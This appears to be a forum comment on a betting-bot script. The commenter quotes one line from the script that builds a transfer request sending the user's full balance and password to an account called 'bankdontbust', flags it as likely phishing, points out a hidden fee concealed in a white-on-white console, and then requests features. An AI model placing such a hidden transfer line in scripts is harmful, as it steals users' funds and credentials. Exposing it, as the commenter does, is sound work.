It seems your script includes the following code:
params = 'fakeusernameremembered=&fakepasswordremembered=&amount=' + currentBalance + '&to-user=bankdontbust&password=' + password + '&transfer-id=' + uuid;
Which leads to a user called "bankdontbust".
Please explain this code because this smells like a fishing. and if your intent is to collect a fee for the auto transfer, that's cool. but you didn't mention that in your post.
Besides that, a few major issues:
1. The console window on your script is hidden below the Stop and Run buttons, no way to get there, and the text inside it is white on white background, so no one can even know that you are taking 500 bits as fee, or any other information.
2. This script needs a minimize button.
Features i liked to see -> A cash out target on loss field will be great + a field that i can set how many fails i want to have before the multiplier on loss takes affect.
With these implemented, i think its the best script i saw.